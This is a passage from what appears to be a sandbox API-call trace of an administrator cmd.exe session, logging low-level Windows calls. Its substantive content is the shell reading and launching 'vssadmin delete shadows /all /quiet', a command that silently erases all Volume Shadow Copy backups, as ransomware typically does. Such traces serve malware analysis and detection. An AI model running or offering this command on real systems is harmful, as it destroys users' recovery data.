_get_osfhandle (_FileHandle=0) returned 0x248 [0127.772] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.772] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0127.772] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.772] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.772] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0127.772] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.772] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.772] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0127.772] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.772] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.772] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0127.772] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.772] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.773] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0127.773] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.773] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.773] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0127.773] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.773] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.773] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0127.773] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.773] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.773] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0127.773] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.773] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.773] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0127.774] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.774] GetFileType (hFile=0x248) returned 0x3 [0127.774] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.774] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.774] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.774] GetFileType (hFile=0x254) returned 0x3 [0127.774] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0127.774] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x158ecffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecffbe8*=0x24, lpOverlapped=0x0) returned 1 [0127.774] GetProcessHeap () returned 0x20992a60000 [0127.774] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x4012) returned 0x20992a68da0 [0127.774] GetProcessHeap () returned 0x20992a60000 [0127.774] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a68da0) returned 1 [0127.775] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0127.775] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0127.775] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0127.775] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0127.775] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0127.775] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0127.775] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0127.775] GetProcessHeap () returned 0x20992a60000 [0127.775] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xb0) returned 0x20992a66910 [0127.775] GetProcessHeap () returned 0x20992a60000 [0127.775] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x22) returned 0x20992a65da0 [0127.776] GetProcessHeap () returned 0x20992a60000 [0127.776] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x48) returned 0x20992a65e60 [0127.776] GetConsoleOutputCP () returned 0x1b5 [0127.788] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0127.788] SetThreadUILanguage (LangId=0x0) returned 0x409 [0127.790] GetConsoleTitleW (in: lpConsoleTitle=0x158ecffa30, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0127.799] malloc (_Size=0xffce) returned 0x20992c50840 [0127.799] ??_V@YAXPEAX@Z () returned 0x20992c50840 [0127.799] malloc (_Size=0xffce) returned 0x20992c60820 [0127.799] ??_V@YAXPEAX@Z () returned 0x20992c60820 [0127.800] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0127.800] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0127.800] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0127.800] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0127.800] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0127.800] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0127.800] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0127.800] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0127.800] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0127.800] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0127.800] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0127.800] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0127.800] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0127.800] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0127.800] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0127.800] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0127.800] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0127.800] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0127.800] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0127.800] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0127.801] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0127.801] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0127.801] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0127.801] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0127.801] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0127.801] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0127.801] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0127.801] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0127.801] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0127.801] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0127.801] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0127.801] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0127.801] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0127.801] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0127.801] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0127.801] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0127.801] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0127.801] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0127.801] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0127.801] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0127.801] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0127.801] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0127.801] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0127.801] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0127.801] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0127.801] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0127.801] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0127.801] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0127.801] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0127.801] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0127.801] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0127.801] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0127.801] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0127.801] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0127.801] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0127.801] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0127.801] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0127.802] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0127.802] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0127.802] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0127.802] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0127.802] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0127.802] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0127.802] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0127.802] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0127.802] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0127.802] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0127.802] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0127.802] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0127.802] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0127.802] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0127.802] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0127.802] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0127.802] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0127.802] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0127.802] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0127.802] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0127.802] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0127.802] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0127.802] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0127.802] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0127.802] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0127.802] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0127.802] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0127.802] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0127.802] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0127.802] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0127.803] ??_V@YAXPEAX@Z () returned 0x1 [0127.803] GetProcessHeap () returned 0x20992a60000 [0127.803] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xffde) returned 0x20992a68da0 [0127.803] GetProcessHeap () returned 0x20992a60000 [0127.803] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x5a) returned 0x20992a669d0 [0127.803] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0127.803] malloc (_Size=0xffce) returned 0x20992c60820 [0127.804] ??_V@YAXPEAX@Z () returned 0x20992c60820 [0127.804] GetProcessHeap () returned 0x20992a60000 [0127.804] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x1ffac) returned 0x20992a78d90 [0127.805] SetErrorMode (uMode=0x0) returned 0x0 [0127.805] SetErrorMode (uMode=0x1) returned 0x0 [0127.805] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20992a78da0, lpFilePart=0x158ecff2b0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x158ecff2b0*="system32") returned 0x13 [0127.806] SetErrorMode (uMode=0x0) returned 0x1 [0127.806] GetProcessHeap () returned 0x20992a60000 [0127.806] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a78d90, Size=0x4a) returned 0x20992a78d90 [0127.806] GetProcessHeap () returned 0x20992a60000 [0127.806] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a78d90) returned 0x4a [0127.806] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0127.806] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0127.806] GetProcessHeap () returned 0x20992a60000 [0127.806] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x1b4) returned 0x20992a78df0 [0127.806] GetProcessHeap () returned 0x20992a60000 [0127.806] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x358) returned 0x20992a78fb0 [0127.813] GetProcessHeap () returned 0x20992a60000 [0127.813] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a78fb0, Size=0x1b6) returned 0x20992a78fb0 [0127.813] GetProcessHeap () returned 0x20992a60000 [0127.813] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a78fb0) returned 0x1b6 [0127.813] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0127.813] GetProcessHeap () returned 0x20992a60000 [0127.813] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xe8) returned 0x20992a66a40 [0127.815] GetProcessHeap () returned 0x20992a60000 [0127.815] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a66a40, Size=0x7e) returned 0x20992a66a40 [0127.815] GetProcessHeap () returned 0x20992a60000 [0127.815] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a66a40) returned 0x7e [0127.815] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0127.815] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0x20992a66ad0 [0127.815] GetProcessHeap () returned 0x20992a60000 [0127.815] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x0, Size=0x28) returned 0x20992a65eb0 [0127.815] FindClose (in: hFindFile=0x20992a66ad0 | out: hFindFile=0x20992a66ad0) returned 1 [0127.816] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0xffffffffffffffff [0127.816] GetLastError () returned 0x2 [0127.816] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0x20992a66ad0 [0127.816] GetProcessHeap () returned 0x20992a60000 [0127.816] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a65eb0, Size=0x8) returned 0x20992a65eb0 [0127.816] FindClose (in: hFindFile=0x20992a66ad0 | out: hFindFile=0x20992a66ad0) returned 1 [0127.816] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0127.816] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0127.816] ??_V@YAXPEAX@Z () returned 0x1 [0127.816] GetConsoleTitleW (in: lpConsoleTitle=0x158ecff5a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0127.820] GetProcessHeap () returned 0x20992a60000 [0127.820] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x21c) returned 0x20992a79180 [0127.820] GetConsoleTitleW (in: lpConsoleTitle=0x20992a79190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0127.859] GetProcessHeap () returned 0x20992a60000 [0127.859] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a79180, Size=0xc2) returned 0x20992a79180 [0127.859] GetProcessHeap () returned 0x20992a60000 [0127.859] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a79180) returned 0xc2 [0127.859] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0127.861] GetProcessHeap () returned 0x20992a60000 [0127.861] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a79180) returned 1 [0127.861] InitializeProcThreadAttributeList (in: lpAttributeList=0x158ecff4c0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x158ecff3b0 | out: lpAttributeList=0x158ecff4c0, lpSize=0x158ecff3b0) returned 1 [0127.861] UpdateProcThreadAttribute (in: lpAttributeList=0x158ecff4c0, dwFlags=0x0, Attribute=0x60001, lpValue=0x158ecff39c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x158ecff4c0, lpPreviousValue=0x0) returned 1 [0127.861] GetStartupInfoW (in: lpStartupInfo=0x158ecff450 | out: lpStartupInfo=0x158ecff450*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0127.861] GetProcessHeap () returned 0x20992a60000 [0127.861] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x20) returned 0x20992a65bb0 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0127.861] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0127.862] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0127.862] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0127.862] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0127.862] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0127.862] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0127.862] GetProcessHeap () returned 0x20992a60000 [0127.862] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65bb0) returned 1 [0127.862] GetProcessHeap () returned 0x20992a60000 [0127.862] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x12) returned 0x20992a65bb0 [0127.862] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.862] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0127.862] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.862] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0127.862] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", 